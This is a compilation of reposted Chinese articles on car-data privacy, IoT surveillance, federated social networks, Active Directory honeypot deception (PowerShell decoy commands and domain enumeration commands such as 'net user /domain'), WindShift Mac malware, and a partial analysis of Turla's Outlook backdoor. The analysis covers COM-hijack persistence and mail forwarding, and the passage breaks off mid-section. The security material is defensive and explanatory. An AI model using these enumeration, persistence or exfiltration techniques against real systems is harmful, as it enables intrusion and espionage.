去年的隐私论坛（FPF）和全国汽车经销商协会（NADA）对此给出了很多建议。

这两个组织发布了一份指南，帮助消费者了解最新一代车辆收集的个人信息，这些车辆声称使用数据来进一步提高安全性、信息娱乐和客户体验。

NADA 总裁兼首席执行官 Peter Welch 当时评论道：“对于这么多消费者而言，他们的联网车辆不断收集个人信息的想法对他们来说是全新的，而且往往是他们从未想过的事情。”

“消费者完全有权知道他们驾驶的任何车辆可以收集哪种个人数据 — 但知识必须从意识开始。我们希望本指南有助于提高对隐私和车辆技术的认识，并最终使更多的消费者对他们驾驶的任何车辆充满信心和安全感。“

该指南以简明的语言编写，使大多数消费者可以访问和理解。要通过的下一个障碍是，用户应该有意识地努力保护他们的隐私。

通过汽车的信息娱乐设置菜单，通常可以删除从智能手机同步到汽车的个人数据。但是，如果消费者无法弄清楚如何重置和从系统中删除信息，FPF 和 NADA 建议人们查阅车主手册，并向经销商或租赁公司寻求帮助。

随着时间的推移，用于快速删除现代车辆信息娱乐系统保留的个人数据的 **Privacy4Cars** 应用程序等解决方案，可能会更加受到欢迎，并且整个过程应该能减少消费者、企业、经销商、租赁公司等相关方的负担。

「图」

「图」

— — 简要指南 — —

重要的是要审查和了解您的车辆制造公司的隐私政策，以及任何可以访问您的车辆数据的第三方（通过 OBD-II“加密狗”，车载“应用程序”或其他方式）。这些政策是规范数据使用的主要法律机制。您可能有权“选择退出”或要求不收集某些信息，或者如果收集了这些信息，则不予共享。不过，选择退出可能会限制您可以使用的某些功能，和大多数数字服务一样，这里有一个权衡。

先看看你的车子都有些什么数据。

」 事件数据记录器 — 自 20 世纪 90 年代以来，EDR 就已经被集成到汽车中，目前已安装在 90% 以上的车辆中。 EDR 在崩溃之前和之后的几秒内记录有关车辆操作的技术信息。此信息包括速度、加速器和制动器位置，安全带使用以及是否展开安全气囊。 EDR 旨在为崩溃调查人员和其他人提供关键信息。访问 EDR 信息除了特定地区的法律规定之外，还需要物理访问车辆以及特定的 EDR 阅读器工具。如果配备 EDR，车辆系统必须满足某些法律要求，并且管理 EDR 数据所有权的其他法律因地区而异。您应该对这些规定有所了解。

」 车载诊断信息 — 1996 年以后制造的所有车辆都必须具有车载诊断端口“OBD-II”. OBD-II 端口通常位于车内驾驶员侧仪表板下方，可以通过将兼容设备物理插入端口来检索。通过此端口，可以访问的数据有助于维修技术人员测量排放、诊断性能问题或修理车辆。车主还可以选择将第三方设备（或“加密狗”）插入某些车辆的 OBD-II 端口，以便与他们选择的第三方收集或共享有关其车辆的信息（例如与保险公司合作）。可访问的信息可能包括：驾驶员行为信息（您驾驶的速度、刹车的积极程度等）以及地理位置数据（您所在的位置、您旅行的位置以及您的速度）。很关键不是吗。

」 位置信息 — 您的导航和相关系统可能会收集您的车辆和目的地的位置信息，以便将您送至目的地。

」 外部信息 — 现代车辆可能包含摄像头和传感器，用于收集有关汽车周围环境的信息。这些传感器可以检测道路或天气状况，车道标记和障碍物，周围交通等。依赖于此外部环境信息的关键技术包括盲点检测，车道偏离警告，辅助制动和后停车传感器。

」 车内信息 — 当今的许多车辆还包含车厢内的传感器。麦克风，相机和其他设备可以记录关于车辆乘员的信息。可能需要这些传感器与紧急服务通信或利用诸如免提电话之类的功能。

」 用户识别 — 某些系统通过物理特征（如指纹或面部）识别用户，

因此可能具有有关用户的物理或生物识别信息。生物信息也可用于确定谁在驾驶座上并相应地调整系统。例如，不需要您按下座椅位置按钮，座椅可能会在车辆中的传感器识别到您的脸部后自动调整。这些技术还可以跟踪眼睛运动以检测驾驶员的注意力，以确定驾驶员是否睡着了。

」 应用程序 — 您的车辆可能包含与 Apple CarPlay，Android Auto 或其他服务等第三方系统的接口。您的车辆还可以允许手机上的应用程序与您的车辆之间的接口。请注意，如果您启用通过这些界面提供的应用或使用手机上与您的汽车互动的应用，则可能会将您的汽车数据暴露给这些第三方应用提供商。这些提供商对于他们收集的信息以及他们对该信息的处理方式有自己的政策。您应该仔细阅读其隐私政策。

」 其他 — 汽车制造商及其技术合作伙伴不断更新和改进您的汽车。今天收集的传感器、功能和数据明天可能会大不相同。确保您与经销商合作，以充分了解您的汽车的功能以及为其提供的数据。

出售或出租汽车时请做出详细的隐私检查 — — 想一想在使用智能手机或家用计算机时如何保护自己的隐私，汽车也同样。您还应该考虑您在车辆中启用的服务可能存储的各种信息，无论是您拥有多年的汽车还是周末临时租用的。

在将设备转让给其他人之前，您希望删除哪些类型的数据，以及您希望取消哪些订阅服务，例如移动 Wi-Fi 热点或数据服务，请参阅下面的一般提示。有关重置和从系统中删除信息的详细方法，请参阅用户手册，并与经销商合作。

」 电话联系人/地址簿 — 请记住，当您将手机与汽车“同步”时，可以下载您的个人联系信息。在销售汽车或退回租赁车辆时，请务必删除此信息！还有，在使用有人兜售或借给你的车时要小心。有些车辆配备了代客功能，可暂时锁定对此信息的访问，防止不必要的访问。

」 汽车中的移动应用程序 — 众多个人移动应用程序都会收集和存储个人数据，当您的手机与您的车辆一起使用时，部分甚至全部数据也可能存储在汽车中。请重置/删除包含个人信息的汽车应用程序; 此外，删除您可能已购买的应用程序，它们不应被其他人访问。

」 车载硬盘存储 — 当今的许多车辆都包含内置硬盘存储（通常用于音乐或其他“信息娱乐”功能）。销售或退回车辆时，请务必删除此硬盘上的数据！

」 家庭，工作单位和最喜欢的导航地点 — 在出售汽车或退回租赁车辆时务必删除此信息; 还有，在接受兜售或借给你的车时要小心。有些车辆配备了代客功能，可暂时锁定对此信息的访问，防止不必要的访问。

」 车库门程序设计 — 在销售车辆时重置所有车库门程序设计。

」 ¨可选插件 — 在销售车辆时，请务必移除您在车辆中使用的任何设备，例如可能与第三方共享车辆信息的加密狗。这些设备通常位于方向盘下方并连接到数据端口。

随着技术的发展，提供性能改进、安全性改进和其他更新，请确保您的车辆与任何软件更新保持同步 — — 就像您在使用电脑手机时应该注意的那样。有关详细信息，请与经销商联系。■

原文

新的智能手机应用程序帮您迅速发现物联网中的间谍设备 - iyouport

IoT-危机和防御无处不在，无处可逃-所谓的“智能”是什么

【2020年7月30日存档】您知道自己身边隐藏着什么危险吗？

一个新的应用程序可让您查看周围的监视摄像头、蓝牙信标和智能扬声器，并帮助您选择退出数据收集。

随着整个伦敦市的实时面部识别技术等监控水平的不断增强，美国也在亚特兰大的 Hartsfield-Jackson 机场中实施了该技术以及其他生物识别技术，而中国变成了什么样的反乌托邦全世界都知道。

就如 Amazon Ring 和其他智能设备一样，需要有一个观察监视者的视角。

老大哥在推动监控技术的使用 —— 如今不论您看向哪里，都是如此。从亚马逊通过其人脸识别技术帮助维稳部门抓人、到国土安全部（DHS）的抓移民运动、再到奥运会 …… 都在使用这种技术。

甚至零售业都在推动这项技术的普及，作为一种防盗机制，FaceFirst 的面部识别软件在数千家商店中引入，以构建可疑行窃者的数据库。

不论你走入哪个机场，都有那种东西对你进行扫描。美国也是如此，根据 Nextgov 的消息，CBP 预计将扩大该计划的覆盖范围，以在2021年之前覆盖超过97%的旅客。

这款专为 iOS 和 Android 开发的应用程序可让您知道您周围正在使用哪些物联网（IoT）技术、以及它们正在收集哪些数据。

由卡耐基梅隆大学的研究人员创建的该应用程序及其基础结构旨在为您提供对跟踪您的活动和信息的设备的更多控制。

借助该应用程序，您将能够看到诸如带有面部识别技术的公共监视摄

像头、跟踪您在商场中位置的蓝牙信标、以及邻居的智能门铃、或智能扬声器等间谍设备。

- 《在商店里，秘密监视如何跟踪你的每一步行动？》

您可以查看这些设备收集的数据，并在可用时访问隐私选项，例如选择退出数据收集。

Norman Sadeh 教授告诉CNET："我们的研究表明，大多数人对当今物联网技术所收集的数据量知之甚少。"

"研究还表明，很多人希望通过这些技术更好地了解其数据的收集和使用情况，尤其是在他们不希望被收集的情况下。另外，许多人希望可以自己选择退出某些收集。"

- 不要错过，物联网对维稳的作用《当你家冰箱作为呈堂证供》

Sadeh 说，根据该报告，该应用程序已注册了30000多个IoT资源，"我们预计到下月底将拥有更多的资源 —— 其中一些是由单个用户注册的，而许多是由我们的团队输入的。"

"我们期望更多地依靠个人用户来填充注册列表，但是我们知道，使这一点变得足够有价值是我们的基本责任。"

根据乔治敦法律隐私与技术中心的估计，美国超过一半的成年人的脸至少存在于一个用于面部识别的数据库中。

2017年，国土安全部阐明了他们在国内间谍活动中的立场，甚至称：不希望自己的脸部被扫描的美国人"不应该旅行"。

国土安全部在一份文件中写道："确保个人出国旅行时不受其生物特征信息收集的唯一方法是避免旅行。"

这项技术的迅速发展引发了迫切需要的辩论，以延缓其推出速度。

- 辩论炮药《说谎的眼睛：根植于维多利亚时代面部识别》
- 辩论炮药《我们遗落的骨骸》

去年三月推出的参议院法案将迫使希望在消费者身上使用面部识别技术的公司首先获得他们的同意。

众议院监督委员会主席 Elijah Cummings 说："实际上没有任何控制

措施……。无论您来自哪个行业，您都可能会参与此[监视]过程。”

该委员会的最高共和党众议员 R-Ohio 还表示，“现在是时候了”，说明政府对监视技术的使用。

ACLU 最近还起诉了包括联邦调查局和国土安全部在内的多家机构，以抵抗面部识别技术侵犯个人公民的隐私权。

ACLU 和 “为未来而战” 以及许多其他公民社会团体都呼吁终结这种危险的技术，而且呼吁越来越强大。这场漫长的战斗已经取得了几项胜利。

但是，仅仅停止面部识别是不够的。监视基础设施如果继续存在，就肯定会不断发展出同类的甚至更为侵入性的监视技术。必须彻底摧毁反乌托邦的基础结构，反抗才有希望。〇

原文

"钓鱼执法"：在活动目录中进行的诱捕与反诱捕的攻防较量 - iYouPort

技术-攻击防御和反抗

对于攻击者来说，就是想方设法欺骗用户打开恶意附件或点击恶意链接。而对于安防人员来说，有一种检测攻击的办法就是所谓的“钓鱼执法”—— 通过向攻击者提供他们想要的服务、权限或正在寻找的信息，来让他们上钩.....

Nikhil SamratAshok Mittal 几年前参与了几个月的企业诱捕解决方案的开发和测试项目。在此期间，积攒了一些在活动目录中实施诱捕和钓鱼检测的经验，并意识到在活动目录中实施诱捕的关键点主要集中在 honeyuser/honeytoken /honeycredentials 上。

像 dcept 等工具就是利用的这些攻击点，戴尔开源的工具称为 DCEPT（Domain Controller Enticing Password Tripwire，域控制诱导加密绊网），是一种能够用来检测尝试入侵本地 Windows 域和活动目录的攻击者的蜜罐服务器安全技术。

如果我们想在攻击的域名枚举阶段就利用相关工具来检测出攻击，会遇到很多困难，不过这正是 Nikhil 本文要解决的问题。

诱捕与反诱捕的攻防游戏

对于攻击者来说，就是想方设法欺骗用户打开恶意附件或点击恶意链接。一旦进入攻击环境，攻击者就会试图截获用户的凭证，并通过其他设备来混入现有的日志和流量。

而对于安防人员来说，有一种检测攻击的办法就是所谓的“钓鱼执法”：通过向攻击者提供他们想要的服务、权限或正在寻找的信息，来让他们上钩。很多攻击者在心里上，都会天然的认为被攻击者是愚蠢的、没有防御意识的且计算机技术比较差，发现不了他们的恶意意图。通常情况下，他们认为自己也比安防人员更聪明、更有天赋。在这些心理的作用下，他们往往以为只要自己一出手，就可以迅速获得

自己想要的东西，比如迅速获得 Direct 活动目录 min 权限。

所以，安防人员正是基于此向攻击者故意展示他们想看到的内容。例如，伪装成将密码设置为类似于“123…”的“弱智”用户，让他们进入到蜜罐中。

给攻击者释放的诱饵最好是以下四个：

1.攻击目标足够多，以便攻击者枚举对象；

2.易于配置；

3.攻击端不需要进行配置更改；

4.不应该触发正常的管理活动；

上面的第4点是最难实现的。如果安防人员的目标是枚举，则必须使攻击者的活动或使用的工具凸显出来，以避免误报。

部署具有诱饵属性的攻击环境

那么，我们如何通过活动目录中的内置工具实现上述攻击者所需的攻击属性呢？可以使用用户组策略设置 ADAccess 事件日志，配置攻击者感兴趣的对象并过滤掉误报信息。

活动目录访问所需的用户组策略设置过程是 Windows Settings | Security Settings | Advanced Audit Policy Configuration | DS Access —Audit Directory Service Access。

「图」

「图」

以上设置在每次访问活动目录对象时都会导致安全事件 4662，日志记录需要在对象级别进行配置。对于这种配置，我们需要修改对象的 SACL 并添加相关的 ACE。

你可以通过查看 AddAuditAccessObjectAce 函数，来完整理解 ACE。

「图」

「图」

我会在本文所讲的样本中，设置完全针对用户使用 ‘ReadProperty’’success’ 时的安全审计，这有助于检测针对该用户的任何枚举。

Deploy-Deception

虽然这些设置可以使用用户界面完成，但是多亏了 PowerShell 和 ActiveDirectory 模块，它才得以实现自动化。

为了自动化设置具有有趣属性和鲜为人知的属性的诱饵对象，以避免误报，我编写了 Deploy-Deception。它是一个 PowerShell 模块，利用 ActiveDirectory 模块轻松高效地部署诱饵，你可以在 Github 上找到具体的部署过程。

下面，我会详细介绍如何在攻击的不同阶段设置不同类型的目标诱饵。

枚举：以用户对象为诱饵

用户对象是最有趣的对象，其中的一些用户属性是攻击者最感兴趣的:#从来没有更改过的密码或比较“弱智”的密码；

- 信任的 Delegation (委托)机制， Delegation 是一种实现机制:一个对象转发或者委托一个请求给另一个对象；
- 拥有 SPN 的用户，SPN(Service Principal name) 服务器主体名称。SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符,它由服务类、主机名和端口用户组成；
- 被明确标记出的密码；
- 属于高权限用户组的用户；
- 对其他用户、用户组或 Container (容器)对象具有 ACL 权限的用户；

1. net user /domain 命令，我们在添加域用户时，有时会有用户没有添加，或者已添加的用户名拼写错误。这时，我们想查一下目前域中所有的用户，就是使用的这个命令；

- Get-WmiObject -Class Win32_UserAccount 命令，用此命令查找帐户状态（$User.Status）；
- Get-ADUser -Filter * (MS ActiveDirectory module) 命令；
- Get-NetUser (PowerView) 命令；
- 查找用户，联系人和用户组的用户界面命令；

1. 旧的操作系统；

- 有趣的 SPN；
- Delegation (委托)机制的设置；
- 具有高权限的用户组成员；

1. 有趣的名称(比如类似 admins、administrators 之类的名称)；

- 这个用户组的成员也是高权限用户组的成员，或者具有攻击者感兴趣的用户属性；
- 具有高权限的用户组成员；

1. 将 Logon Workstation 设置为一个并不是真实存在的计算机上；

- 拒绝诱饵用户的反登录；

1. 企业网络通常都非常复杂，如果轻而易举的获取自己的攻击目标，则要提高警惕；

- 避免使用自动化枚举工具，除非攻击者非常了解这些工具在后台的工作原理；
- 避免获取 DA 权限的诱惑，专注本身的攻击目标，因为DA权限是攻击者渴望获取的最高权限，对于此诱惑，一般人很难抗拒。

安防人员如何防止自己设置的诱饵被识别

如果使用真实的域对象，被识别出的概率就会减少。例如，没有映射到真实计算机的计算机对象，就很容易被识别出来。

如前所述，对于诱饵用户对象，至少要让其经常进行登录会话操作，避免其成为僵尸用户。

让我们看一个简单的例子，有一个著名的诱饵识别脚本叫做 HoneypotBuster。现在让我会创建一个诱饵 DA，并运行此脚本进行识别。

「图」

「图」

可以发现，我设置的诱饵 DA 被发现了。Deploy-PrivilegedUserDeception 有一个选项 ‘CreateLogon’，此参数使用诱饵DA用户启动和停止 DC 上的计算器，填充用户的登录相关属性。而如果要使用此参数，必须将 LogonWorkstation 保护设置为执行模块的 DC，这样你就可以随时更改用户的行为。

PS C:\」 Create-DecoyUser -UserFirstName dec -UserLastName da -Password Pass@123 | Deploy-PrivilegedUserDeception -Technique DomainAdminsMemebership -Protection LogonWorkStation -LogonWorkStation revert-dc -CreateLogon –Verbose

我可以使用如上命令会创建名为 decda 的用户，使其成为 Domain Admins 组的一员，不过我会限制其登录到 DC，之后，我使用该用户创建一个登录会话，这样就会在 DC 上创建配置文件。现在，如果运行 HoneypotBuster，看看此诱饵能否被发现。

「图」

「图」

可以看到，FakeRank 诱饵对象的怀疑度被降到了50。HoneypotBuster 使用了一个排名系统来评测诱饵对象的伪造度，如果一个用户的 logonCount 小于6，那么肯定是诱饵。如果我将 decda 的 logonCount 设置为6，用它的凭证启动这个进程6次，那么它就不会被怀疑了。

PS C:\」 Create-DecoyUser -UserFirstName dec -UserLastName da -Password Pass@123 | Deploy-PrivilegedUserDeception -Technique DomainAdminsMemebership -Protection LogonWorkStation -LogonWorkStation revert-dc -CreateLogon -logonCount 6 -Verbose

「图」

「图」

很明显，现在如果我运行 HoneypotBuster, 就会发现它并没有检测到 decda!

不过这是针对 HoneypotBuster 工具的避免被识破的办法，未来我还将致力于使用虚拟化技术来部署诱饵，比如借助 OU 对象。OU(Organizational Unit，组织单位)是可以将用户、组、计算机和其它组织单位放入其中的AD容器，是可以指派组策略设置或委派管理

权限的最小作用域或单元。通俗一点说，如果把 AD 比作一个公司的话，那么每个 OU 就是一个相对独立的部门。

如果想对本文的讲述有更直观的了解，可查看 Nikhil 在 BruCON 上的演讲文稿以及相关视频。

原文

[video] 如何才能挑战 Facebook 并取得胜利？—— Distributed Social Network - iYouPort

关于Facebook-这不只是一家公司技术-攻击防御和反抗

Facebook 的主导地位已经对民主构成了威胁。我们唯一的希望就是打开网络之间的协作。这是要通过联合完成的。也是它为什么有用，以及如何提供帮助。本文介绍这一思路：关于可以怎么办

在最近挪威的一次会议上，传播学教授 Clay Shirky 被问到他对 Facebook 的支配地位的看法。他的回答令人沮丧。下面是现场视频。总而言之，他说 **Facebook** 现在如此之大，以至于无法挑战它的统治地位。

在这里看到视频：

Facebook 在全球拥有8亿活跃用户。在一些国家里它对人口的把握是惊人的。在美国，有41.6% 人拥有 Facebook 账户。在挪威，每个月有 73% 的人口使用 Facebook，年轻人在Facebook 上花掉了所有在线时间的 40%。你从这些数字中足够理解到，为什么 Clay 教授眼中的前景是负面的。

那么，战斗失败了吗？ Facebook 将在所有可预见的未来统治全球吗？

是这样。如果现在我们的思想还没有根本性转变的话，其结果就是这样。我们需要马上，开始像互联网一样思考。我们无法遵循旧模式用一家新公司替代另一家公司（6 degrees – 」 Friendster – 」 Myspace – 」 Facebook 这个过程很多人都熟悉吧）。在此我认为 Clay 可能是对的。

可以取代 Facebook 而不是另一个社交网络的究竟是什么，所有的朋友必须同意加入同一个新的地方，但更类似于互联网本身：一个社交

网络的网络。这种东西究竟是什么？

如何做到？

通过与联盟分权。联盟意味着两个在不同社交网络上有个人资料的人可以一起完成他们通常需要在同一个网络上完成的所有事：关注、@回复/评论，自组织标签/群组等等。使用联盟的社交网络通常被称为分布式社交网络。

这里详细解释了什么是分布/联合社交网络，他们是如何工作的，还有更多。

联合系统" OStatus" 由 "StatusNet" 构建，捆绑了许多已被高度重视的开放协议。如果您在 "Identi.ca" 或带有 **StatusNet** 软件的任何服务器上有微博客，您可以从那里关注任何 **Tumblr** 和 **Friendica** 帐户。**Google Buzz** 和 **Cliqset** 也是其中的一部分。

我将它安装在我的服务器上，使用 Brainbird，我们共同的朋友使用 Identi.ca，但我们都可以像在 Twitter 上一样轻松地进行交流和协作。

这个联合会的美妙之处在于，没有交易必须进行，没有合同签署。一个用户甚至不需要知道其他用户的存在。当人们彼此独立开始用相同的标签标记他们的照片时，这种自发的合作就像在线上其他的合作一样，Clay 也在他的书中谈到了这点。任何人都可以自由实施 **OStatus** 协议并获得联合。

为什么需要？

总会有人创建新的社交网络来迎合特定的社会或技术领域。但是，正如 Clay 所说，这些公司和流行应用完全没有机会对抗 **Facebook**。借助其群组和应用程序，**Facebook** 可以满足任何利基市场的需求，同时成为通用商店。

Facebook 的聊天并不比 MSN，ICQ 或 Jabber 更好，但因为你可以在 Facebook 上做所有事情，加之由于网络效应，它依然可以垄断。

「图」

「图」

为什么会起作用？

由于相同的网络效应使每个人都被锁定在 Facebook 上。网络上的每个额外节点都会使整个网络对所有现有节点呈指数增长。如果是很少的节点，也就是说，如果你的朋友都没有注册，就会使网络无用; 无论技术有多创新或服务条款有多好。

即使大多数新网络能够出于各种不同原因召集到至少几个人，但他们在一段时间后更有可能失去这些用户，而不是召集更多。具有讽刺意味的是，很少会有用户成为获得更多用户的主要障碍。当新创公司开始看到这种困境时，他们希望能够认识到，试图走与 **Facebook** 相同的路线并将用户锁定在一个"有围墙的花园"中简直是自杀行为。

联合意味着打开这个围墙，那些想要与一些用户交谈的人选择从另一个网络进行交流，而不是加入你的网络。但负面效应是，当你是一个小玩家是，并且这个潜在的新用户的所有朋友都在 Facebook 上时，让一个新人（节点）进行注册是很困难的。但通过联合您的网络，可以立即获得数千个新节点，从而使您的网络对所有用户而言无穷无尽。

此外，您的用户不必说服所有的朋友都加入您的特定网络，只需要加入其中一个（希望很快会实现）在成千上万个联盟网络中选择一个。

为什么有利于每个人？

Facebook 是一种威胁，但并不是因为它是 Facebook。如果历史重演，另一个网络取代Facebook，则不会有任何不同。就像以前一样，它的规模将比前任大，甚至更大，对 Clay 警告的民主问题来说也会一样的糟糕。公共空间将被商业空间所取代，当公司认为这对他们有利时。

但是对于联网的网络来说，情况恰恰相反。您选择传播讯息的网络是否会对您进行审查？如果这个网络是 Facebook，那么几乎没有什么可以做的，有成千上万不满意的用户，从向 A nders Behring Breivik 家人表达同情的人到英国的活动家和反垄断主义者，都可以这样告诉你。如果网络是联合网络，则通过可以移动到另一个联合网络，或者在自己的服务器上安装一个，并保留所有关注者，以避免审查。当然，这也意味着我们需要面对有关欺凌、儿童色情和其他恶劣罪行的挑战，但我们将能够找到解决这些问题的办法。沟通自由和未经审查的话语和创新。

如果每个公共空间都转变成商场和私人拥有的公园，那么所有者的愿望就是保安人员的需求，我们就不可能拥有真正的民主。我们的自由

社会依赖于讨论任何问题和追求任何知识的自由，不管它对广告收入有多大的损害。我们生活在一个社会中，而不是一个公司里。我们必须这样保持下去。

我该如何尝试？

今天有很多方法可以尝试联合。最常见的方法是在 Identi.ca 上创建一个基于 StatusNet 的帐户。从那里你可以关注 MozillaCa 或 Brainbird 或任何其他 StatusNet 服务器上的用户。其他联盟网络包括 Mediagoblin 和 Friendica。Diaspora 在其内部是分散的，也就是说你可以在不同的 Diaspora 设施之间进行沟通。但不幸的是，它还没有连接到更广泛的网络。其他从事联合工作的包括 buddycloud，Appleseed，Ampify，OpenPhoto ，以及更多。

我可以如何作出贡献？

你可以帮助传播这个概念，并谈论为什么这很重要。告诉你最喜欢的小型社交圈子关于采用联合的优势。将代码贡献给 OStatus 或 Unhosted。阅读 FreedomBox 并捐赠您的金钱或时间作编码员或翻译员。也许最重要的是：积极参与已经联合的社交网络。

任何读过 Jonathan Zittrains 这本书《The Future of the Internet – And How to Stop It》的人或研究过互联网历史的人都会承认，我们曾经这样做过。美国在线、CompuServe 和其他公司运营的私人控制网络具有很好的网络效应，使得新手无法参与竞争。他们就像 Facebook 一样的无敌。后来才有的互联网。

我的预测是这样的：Clay 是对的。我们不会看到另一个社交网络将 **Facebook** 拉下马。但是，在某些时候，联盟的网络拥有数千个小型社交网络，**Facebook**可以自行忽略，它将成为最后通牒：开放并加入，这是唯一选择，就像美国在线加入了互联网，否则它只能等死。

原文

攻击者在中东的间谍活动中暴露出苹果 Mac 的弱点 - iYouPort

技术-攻击防御和反抗

Apple Mac 很少成为数字间谍的目标。但近年来，一个名叫 WindShift 的神秘“黑客”团队针对的是在中东地区的政府部门和关键基础设施部门的特定工作人员，他们正在利用据信是可以影响所有 **Apple Mac** 机型的弱点。

根据阿联酋的研究员 Taha Karim 的说法，这些目标位于所谓的海湾合作委员会（GCC）地区，这包括：沙特阿拉伯，科威特，阿联酋，卡塔尔，巴林和阿曼。这些目标被发送鱼叉式网络钓鱼电子邮件，其中包含黑客运行的网站的链接。一旦目标点击链接，攻击就会启动，其最终目的是下载被称为 **WindTale** 和 **WindTape** 的恶意软件。

网络安全公司 DarkMatter 的研究人员 Karim 表示，攻击者已经找到了“绕过所有原生 **macOS** 安全措施的方法。”一旦他们进入这些防御措施，恶意软件将泄露感兴趣的文件，并不断截取受害者桌面的屏幕截图。研究人员补充说，这些攻击从 **2016** 年就开始了，一直持续到今天。

Karim 拒绝透露什么样的关键基础设施已被成为目标，并且既不会指明具体国家也不会指出受害者。他将于周四在新加坡举行的 Hack In The Box 会议上发表他的全部调查结果。

「图」

「图」

Mac 黑客的解释

DarkMatter 表示，黑客的网页将尝试安装包含恶意软件的 .zip 文件。下载完成后，恶意软件将尝试通过所谓的“自定义 URL 方案”启动。这并不像听起来那么复杂。开发人员可以创建自己的 URL 方案，以便在点击链接时打开其应用的特定部分。例如，想象一个链

接，打开一个地图应用程序，将用户带到特定的地方，并立即从他们的位置提供方向。这需要首先在计算机或智能手机上注册自定义 URL 方案才能正常工作。

以下是 WindShift 团队恶意软件的情况：

- 首先，用户访问试图安装 .zip 文件的网站，里面是恶意软件；
- **Apple Safari** 浏览器将自动解压缩文件，macOS 将自动注册恶意软件选择的 URL 方案；
- 下载恶意软件的同一网站将通过现已注册的自定义 URL 方案发出请求，以启动恶意软件；
- 一旦安装了.zip文件，攻击者就依赖受害者来保持网站的生效，这足以让恶意软件发挥作用；
- 然后，操作系统运行恶意软件以处理自定义 URL 方案的请求；
- 由此，WindTale 和 WindTape 可以默默地开始窃取文件并截取屏幕截图。

查看主要的桌面操作系统，问题可能是 **Apple** 独有的。据 Karim 称，这种方法在 Windows 上不起作用。

WindShift 黑客在成功感染目标时必须克服一些障碍。最新版本的 Safari 将显示一个提示，要求用户确认他们要运行的这些自定义 URL 方案。如果用户点击“允许”，Apple 的 Gatekeeper 安全功能将会有另一个请求，该功能将再次询问用户是否确实要安装这些文件。

这样似乎是不错的预防措施？其实不然。正如 Karim 所说，攻击者可以控制 Safari 警报内的大部分内容，使其恶意软件看起来无害。测试 Forbes 攻击方法的 Wardle 给出了提示，所以会提问：“你是否允许此页面打开谷歌？”另一个用笑脸表情符号取代了“谷歌”。Karim 暗示 **Mail.app** 可能欺骗普通用户。

「图」

「图」

Mac 黑客 Patrick Wardle 复制了一种试图欺骗用户下载恶意软件的攻击方法。在这个演示中，恶意软件的名称已被变成了笑脸

对于 WindShift hacks 还有另一个潜在方面的麻烦。如果攻击者或其受害者复制了恶意软件，使其在网络中共享，则所有用户都可能将恶意自定义 **URL** 方案自动添加到 **Apple Mac**。“攻击者可以利用这种简

单的技术在网络中横向推动，从而导致大量 Mac 计算机被感染”。

Karim 说他已联系过苹果公司。该公司告诉他，这个问题从它的角度来看是封闭的。“但尚不清楚是否采取了任何具体的补救措施，”他补充说。

在该消息发布时，Apple 没有回复评论请求。■

原文

🐲通过附加到电子邮件的 PDF 文件完全控制一个隐秘和弹性后门：对俄罗斯间谍网络的技术分析 - iYouPort

技术-攻击防御和反抗

近日，ESET 研究人员发布了关于 APT 组织 Turla（或称 Snake 或 Uroburos）所使用后门的研究报告，该后门用于获取至少三个欧洲国家当局的敏感通信。

后门最近的目标是 Microsoft Outlook。该后门并不使用传统的命令和控制（C＆C）方式，例如基于HTTP（S），而是通过电子邮件附件中的特制PDF文件，指示受感染的机器执行一系列命令。命令包括数据泄露、下载其他文件以及执行其他程序和命令。数据泄露本身也通过**PDF**文件进行。

「图」

「图」

背景

Turla 是俄罗斯网络间谍 **APT** 组织（也被称为 **Snake** 或 **Uroburos**），自 **2008** 年以来一直活跃于攻击政府机构与民间企业。其中值得注意的受害者是2013年芬兰外交部，2014年至2016年瑞士军事公司 RUAG，以及最近于2017年底至2018年初的德国政府。此前已经有报道发布了一些关于攻击者使用的攻击方式：他们使用电子邮件附件来控制恶意软件，并从系统中传输被盗数据。但是没有公开关于此后门的技术信息。为此，ESET 研究人员发布了 Turla 后门的深入分析。

ESET 的调查还显示，针对 Microsoft Outlook 的这一后门被用于对抗各种政治和军事组织。能够确定其他两个欧洲政府的外国办事处和一个大型国防承包商都受到了损害。同时还发现了 Turla 为此活动注册的数十个电子邮件地址，用于接收受害者的详细数据。

该后门可能最早在2009年出现。多年来，其作者一直在添加各种功能，最终赋予它一种罕见的隐身能力和恢复力。以下是过去几年后门的演变过程。

攻击流程

Turla Outlook 后门主要有两个功能。首先，它通过将所有发送的电子邮件转发给攻击者来窃取信息。它主要针对 **Microsoft Outlook**，但也针对 **The Bat!** ，一个在东欧很受欢迎的邮件客户端。其次，使用电子邮件消息作为其命令和控制（C＆C）协议的传输层。数据（例如通过后门命令请求的文件）附加到电子邮件的特制PDF文档中，并且命令也在PDF附件中接收。因此，它的行为特别隐蔽。值得注意的是，**PDF** 阅读器和 **Outlook** 中都没有使用漏洞。实际上是恶意软件能够解码**PDF**文档中的数据并将其解释为后门的命令。

最新版本后门是一个独立的动态链接库（DLL），它具有安装自身并与邮件客户端 Outlook 和 The Bat！交互的代码。

「图」

「图」

后门安装：

为了安装后门，攻击者执行名为 Install 的 DLL 导出或使用 regsvr32.exe 注册它。参数是目标邮件客户端。

Microsoft Outlook：

Turla开发人员再一次依赖COM对象劫持来为他们的恶意软件建立持久性。包括通过修改Windows注册表中相应的CLSID条目来重定向目标应用程序使用的COM对象。一旦进行了修改，每次 Outlook 加载此 COM 对象时都会加载后门DLL。此COM重定向不需要管理权限，因为它仅适用于当前用户。最后，使用 COM 劫持允许后门保持隐蔽性。

与邮件客户端的交互：

Microsoft 维护一个 API，即消息应用程序编程接口（MAPI），它允许应用程序与Outlook 进行交互。此 Turla 后门利用API来访问和管理受感染系统的人员的邮箱。首先，它使用MAPILogonEx连接到消息传递系统。Outlook 使用标志 MAPI_ALLOW_OTHERS 打开默认会

话。因此，后门将使用此先前打开的会话来访问默认邮箱配置文件。完成此操作后，它可以访问完整邮箱，并可以使用其他MAPI功能轻松管理。它将遍历各种消息存储库，解析电子邮件并在收件箱和发件箱中添加回调。

「图」

「图」

收件箱回调：

收件箱回调首先记录有关传入电子邮件的元数据。这包括发件人，收件人，主题和附件名称。然后，解析电子邮件及其附件，以检查它们是否包含来自攻击者的命令。最后，通过检查传入的电子邮件是否包含运营商的电子邮件地址来拦截非传递报告（NDR）电子邮件。因此，任何包含运营商电子邮件地址的电子邮件将被丢弃。

发件箱回调：

与收件箱回调类似，发件箱回调会记录每封外发电子邮件的元数据。它还会将每封外发电子邮件转发给攻击者的电子邮件地址。后门会定期向攻击者的电子邮件地址发送报告。

隐藏恶意行为：

